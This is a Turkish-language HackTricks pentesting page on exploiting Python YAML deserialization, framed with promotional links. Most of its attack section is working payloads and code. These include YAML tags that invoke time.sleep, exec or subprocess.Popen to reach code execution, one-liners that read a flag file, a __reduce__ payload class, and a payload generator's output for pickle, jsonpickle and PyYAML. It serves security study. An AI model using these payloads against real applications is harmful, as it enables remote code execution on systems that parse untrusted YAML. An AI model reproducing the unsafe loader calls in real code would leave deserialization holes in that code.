Python Yaml Deserialization

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [Resmi PEASS & HackTricks ürünleri]'ni edinin (https://peass.creator-spring.com)

  • [PEASS Ailesi]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'ler]'imiz koleksiyonumuz

  • Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**

  • Hacking hilelerinizi paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına.

Yaml Serileştirme

Yaml python kütüphaneleri aynı zamanda python nesnelerini serileştirmek için de yeteneklidir ve sadece ham verileri değil:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Kontrol et tuple'ın ham veri türü olmadığını ve bu nedenle serileştirildiğini. Ve aynı şey range ile de oldu (builtins'ten alındı).

safe_load() veya safe_load_all() SafeLoader'ı kullanır ve sınıf nesnesi deserializasyonunu desteklemez. Sınıf nesnesi deserializasyonu örneği:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Önceki kod, serileştirilmiş python sınıfını yüklemek için unsafe_load kullanıyordu. Bu, sürüm >= 5.1'de, load() içinde Loader belirtilmediğinde veya Loader=SafeLoader olarak belirtilmediğinde serileştirilmiş herhangi bir python sınıfını veya sınıf özelliğini deserialize etmeye izin vermemesinden kaynaklanmaktadır.

Temel Sızma

Uyku işlemini nasıl yürüteceğine dair bir örnek:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Loader Belirtilmeden .load("<içerik>") ile Zayıf

Eski sürümlerinde pyyaml, bir şey yüklerken Loader belirtmediyseniz deserializasyon saldırılarına karşı savunmasızdı: yaml.load(data)

Bu zafiyetin açıklamasını burada bulabilirsiniz. Bu sayfadaki önerilen saldırı şudur:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ya da bu @ishaack tarafından sağlanan tek satırlık kodu kullanabilirsiniz:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Not edin ki son sürümlerde artık .load() çagrılamaz bir Loader olmadan ve FullLoader artık bu saldırıya duyarlı değil.

Uzaktan Kod Çalıştırma (RCE)

Özel yükler, Python YAML modülleri olan PyYAML veya ruamel.yaml kullanılarak oluşturulabilir. Bu yükler, güvenilmeyen girdileri doğru şekilde temizlemeden ayrıştıran sistemlerdeki zafiyetleri sömürebilir.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Yük Oluşturmak için Araç

Araç https://github.com/j0lt-github/python-deserialization-attack-payload-generator Python deserializasyon saldırı yüklerini oluşturmak için kullanılabilir:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Referanslar

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated